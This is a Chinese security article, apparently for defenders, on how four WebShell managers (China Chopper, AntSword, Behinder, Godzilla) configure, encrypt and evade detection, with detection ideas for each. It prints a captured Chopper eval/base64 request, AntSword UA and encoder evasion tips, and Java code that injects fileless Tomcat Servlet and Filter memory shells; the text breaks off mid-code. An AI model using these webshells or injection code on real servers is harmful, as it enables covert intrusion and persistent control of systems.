在网络安全实战攻防演练中,只有了解攻击方的攻击思路和运用武器,防守方才能有效应对。以WebShell 为例,由于企业对外提供服务的应用通常以Web形式呈现,因此Web站点经常成为攻击者的攻击目标。攻击者找到Web站点可利用的漏洞后,通常会在Web站点植入WebShell程序,从而实现对目标站点的控制。为了躲避防守方的检测,攻击方加密WebShell成为常态,由于流量加密,传统的WAF、WebIDS设备难以检测,给防守方监控带来巨大的挑战。因此,防守方需要了解攻击方使用的加密武器,才能找到相应的破解方式。
本文将通过分析目前攻击方常用的四大主流WebShell管理工具:中国菜刀、中国蚁剑、冰蝎Shell管理工具、哥斯拉Shell管理工具,探讨其加密特征,为防守方提供一些新的检测思路
。
一、 中国菜刀
1、 服务器
2、 配置
3、 通信流量
4、 检测
二、 中国蚁剑
1、 服务器
2、 配置
3、 通信流量
4、 检测
三、冰蝎Shell管理工具
1、服务器
2、配置
3、通信流量
4、检测
四、哥斯拉Shell管理工具
1、WebShell 连接
2、流量端检测思路
3、内存马
中国菜刀(Chopper)是一款经典的网站管理工具,具有文件管理、数据库管理、虚拟终端等功能。
其中
Sp4ar
是连接密码,可以随意更改。也可对服务端做一些混淆操作,防止被查杀。
<T>类型T> 类型可为MYSQL,MSSQL,ORACLE,INFOMIX中的一种
<H>主机地址<H> 主机地址可为机器名或IP地址,如localhost
<U>数据库用户U> 连接数据库的用户名,如root
<P>数据库密码P> 连接数据库的密码,如123456
<L>编码类型L> utf8,gbk等数据编码类型
ASP和ASP.NET脚本:
<T>类型T> 类型只能填ADO
<C>ADO配置信息C>
ADO连接各种数据库的方式不一样。如MSSQL的配置信息为
Driver={Sql Server};Server=(local);Database=master;Uid=sa;Pwd=123456
在设置好配置之后可以对网站数据库,文件等进行管理。
POST /u.php HTTP/1.1
X-Forwarded-For: 1*.***.*.***
Referer: http://1*.***.*.***
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host
: 1*.***.*.***
Content-Length: 690
Connection: Close
Cache-Control: no-cache
Cookie: PHPSESSID=m4mi07jn4u6cd3gmhdt97fmq55
Sp4ar=%40eval%01%28base64_decode%28%24_POST%5Bz0%5D%29%29%3B&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw%3D%3D
(1)请求侧
从payload中可以看出,eval后面卡了一个%01的字符,这样的语法在高版本的php中无法执行,低版本抛出warning后正常执行。获取z0的值并进行base64解码之后传入eval执行,z0解码之后的内容为:
@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}\t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="\t";$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print $R;;echo("|);die();
文件检测:通过静态文件的方式进行WebShell查杀。
流量检测:通过检测通信中的eval,base64_decode等关键字。
中国蚁剑与中国菜刀相比,界面更加美观、功能更加齐全,并且自定义的程度更高且开放源代码。
中国蚁剑的服务端会根据不同编码器有所变化,但还是从最基础的开始分析:
编辑/新增记录的时候可以自定义头部字段,选择编/解码器以及一些其他设置。
中国蚁剑默认的UA头是antSword/v版本号,目前已经被很多安全产品标记
,所以在配置的时候通常会更改,改UA头的方式有两种:一、添加Shell的时候在请求信息中添加User-Agent字段覆盖掉原始的值,二、在modules/request.js修改USER_AGENT的值。第一种方法只针对当前添加的记录生效,第二种方法针对所有的shell都生效。
中国蚁剑的编/解码器可以对请求/响应侧的流量进行编/解码以绕过流量检测,在最新版的中国蚁剑中(v2.1.11)默认的编码器有五个,解码器有三个。
(1)编码器
编码器是在发送数据到服务端之前对payload进行相关处理,目的是为了绕过请求侧的流量检测,默认的编码器:
-
default编码器:不对传输的payload进行任何操作。
-
base64编码器:对payload进行base64编码。
-
chr编码器:对payload的所有字符都利用利用chr函数进行转换。
-
chr16编码器:对payload的所有字符都利用chr函数转换,与chr编码器不同的是chr16编码器对chr函数传递的参数是十六进制。
-
rot13编码器:对payload中的字母进行rot13转换。
-
以上五种编码为中国蚁剑自带的,不需要配置就可以直接使用,除此之外,还存在一个RSA编码器,该编码器将
-
RSA编码器:该编码器默认不展示,需要自己配置。配置方法:在编码管理界面点击生成RSA配置生成公钥、私钥和PHP代码,然后点击新建编码器选择PHP RSA之后输入编码器的名字即可。
(2)解码器
解码器主要是对接收到的数据进相关处理,目的是为了绕过响应侧的流量检测,默认的解码器:
针对不同编码器请求侧的流量有所不同
默认编码器发送的数据如下:
采用不同解码器响应方向的数据也不同。
default:
1. 文件检测:通过静态文件的方式进行WebShell查杀
2. 流量检测:针对不同的编码器流量特征不相同。
针对前面1.2.1中的前五种编码器,可以检测关键字。
针对rsa编码器:由于数据完全加密所以无法使用关键字检测。仔细观察加密之后的数据可以知道:在长度足够的情况下,每相隔固定的长度就会出现一个|字符,分析编码器可知,加密时是先将原始的payload进行分段然后对每一个段进行加密并以base64的格式输出。在rsa加密算法中密文长度等于密钥长度,明文长度不超过密钥长度。由于payload长度比密文长很多所以在加密是必须切割,但是无论怎么切割加密之后的数据长度都是都是固定的,所以在检测的时候可以根据这一特性来进行检测。由于输出结果是base64编码的所以每一个段的数据的字符都是在a-zA-Z0-9+=/之间,每一个段之间都有一个分隔符,当密钥长度是1024位的时候,每个段的明文长度是172,该编码器默认生成的长度是1024且在前端无法更改,但是可以通过替换antData目录下的key_rsa和key_rsa.pub两个文件来更换密钥长度,这两个文件可以通过openssl生成。
生成方式如下:
1. 生成rsa私钥
openssl genrsa -out key_rsa 2048
2. 生成公钥
openssl rsa -in key_rsa -pubout -out key_rsa.pub
然后分别替换key_rsa和key_rsa.pub即可。
替换之后可以发现每个分段的长度明显增加从之前的172变成344,当密钥长度增加到3072时,分段长度增加到512,同时加密所需时间明显增加。
冰蝎Shell管理工具是一款流行的、采用二进制动态加密传输数据的网站管理工具。
相关链接:
《利用动态二进制加密实现新型一句话木马之Java篇》:
https://xz.aliyun.com/t/2744
《利用动态二进制加密实现新型一句话木马之.NET篇》:
https://xz.aliyun.com/t/2758
《利用动态二进制加密实现新型一句话木马之PHP篇》:
https://xz.aliyun.com/t/2774
目前冰蝎Shell管理工具的配置仅支持代理和自定义HTTP头部。
1. 文件检测:文件的特征主要在解密算法部分和执行payload的部分。
2. 流量检测:由于最新版冰蝎Shell管理工具这个交互过程都采用加密传输,无法采用检测关键字的方法进行检测。相比于2.0的版本,3.0去除了协商密钥的过程,但这带来了一个问题就是,整个过程的密钥是不变的,同时分析冰蝎的源码可以发现:在传输php,jsp,aspx时前面的字段是固定的,这就导致了在一个WebShell中每一个流的前面的字节都是相同,php前面是assert|eval(base64_decode(、csharp是dll文件的头部格式、java则是class文件的头部格式。由于asp(php无法加载openssl时)采用异或对payload进行运算,根据异或的特征(两次异或即还原数据)可以使用密文以原始的payload的前十六位进行异或得到的就是密钥,再用密钥对整体数据进行解密即可还原出明文。
3. 异常进程检测:当冰蝎Shell管理工具执行命令是可以发现系统中会创建两个进程(父子关系)来执行命令。
哥斯拉Shell管理工具与冰蝎Shell管理工具类似,通信过程都是加密流量,工具界面如下:
作者已经内置了Payload以及加密器,以JavaDynamicPayload为例,我们生成一个WebShell查看代码。
字符串xc为自定义秘钥(pass)MD5的前16位
拼接自定义的密码和秘钥获取md5值, 这里的md5值作为认证密码和密钥,主要代码逻辑如下:
抓取连接Shell地址过程数据包,一共进行了三次请求响应:
JavaAesBase64类初始化方法如下,加解密方法与生成的WebShell相对应:
围绕流量测的检测思路,因为其流量加密的特性,其实与冰蝎Shell管理工具想法大致相同,往往需要多种弱特征结合验证,如可以通过分析Shell连接过程的简单固有特征,结合数据统计分析来进行检测等。
内存马特点:文件无需落地,更加隐蔽。以tomcat为例,内存马分为以下三种:Servlet、Filter、Listener
以一个简单的Servletdemo为例,访问url,查看tomcat对应的调用栈如下:
我们知道通过web.xml或者注解的方式可以配置自定义的servlet与url的映射。而在tomcat中,Wrapper等效于Servlet,即我们只要自定义的实现该逻辑,就可实现Servlet内存马。
Servlet3.0开始提供了动态注册filter、Servlet、Listener,这里不再赘述,感兴趣的可以自己调试验证下,主要逻辑为:
创建自定义Servlet
使用Wrapper对应进行封装
添加封装后的Wrapper到StandardContext的children当中
添加ServletMapping将访问的URL和Servlet进行绑定
如 234步骤实现代码如下:
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();
org.apache.catalina.Wrapper newWrapper = standardCtx.createWrapper();
newWrapper.setName("sangfor");
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
newWrapper.setServletClass(servlet.getClass().getName());
standardCtx.addChild(newWrapper);
standardCtx.addServletMapping("/sangfor","sangfor");
Filter的作用,当配置了Filter后用户的请求会经过FIlter过滤后再执行到Servlet, 如果有多个Filter则会组成一个Filter链, 最后一个Filter再去执行Servlet。
Filter作为过滤器,在过滤器链(filter chain)中,往往为了filter内存马能被正常调用,会把filter内存马优先级调整为最高(放置为首),如shiro反序列化
我们需要动态实现自定义filter,添加到filterChain中。
主要逻辑如下:
1. 获取standardContext
2. 生成FilterDef、生成FilterConfig
3. 用filterDef封装filter,加入到filterConfig中
4. 将filterConfig封装添加到filterChain中
代码如下:
public class FilterBasedBasic extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
try{
String filterName = "sangfor";
String urlPattern = "/sangfor";
final ServletContext servletContext = req.getSession().getServletContext();
Field field = servletContext.getClass().getDeclaredField("context");
field.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) field.get(servletContext);
field = applicationContext.getClass().getDeclaredField("context");
field.setAccessible(true);
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
StandardContext standardContext = (StandardContext) field.get(applicationContext);
field = standardContext.getClass().getDeclaredField("filterConfigs");
field.setAccessible(true);
HashMap<String, ApplicationFilterConfig> map = (HashMap<String, ApplicationFilterConfig>) field.get(standardContext);
if(map.get(filterName) == null){
System.out.println("[+] Add sangfor Filter");
Class filterDefClass = null;
try{
filterDefClass = Class.forName("org.apache.catalina.deploy.FilterDef");
}catch(ClassNotFoundException e){
filterDefClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
}
Object filterDef = filterDefClass.newInstance();
filterDef.getClass().getDeclaredMethod("setFilterName", new Class[]{String.class}).invoke(filterDef, new Object[]{filterName});
Filter filter = new FilterTemplate();
filterDef.getClass().getDeclaredMethod("setFilterClass", new Class[]{String.class}).invoke(filterDef, new Object[]{filter.getClass().getName()});
filterDef.getClass().getDeclaredMethod("setFilter", new Class[]{Filter.class}).invoke(filterDef, new Object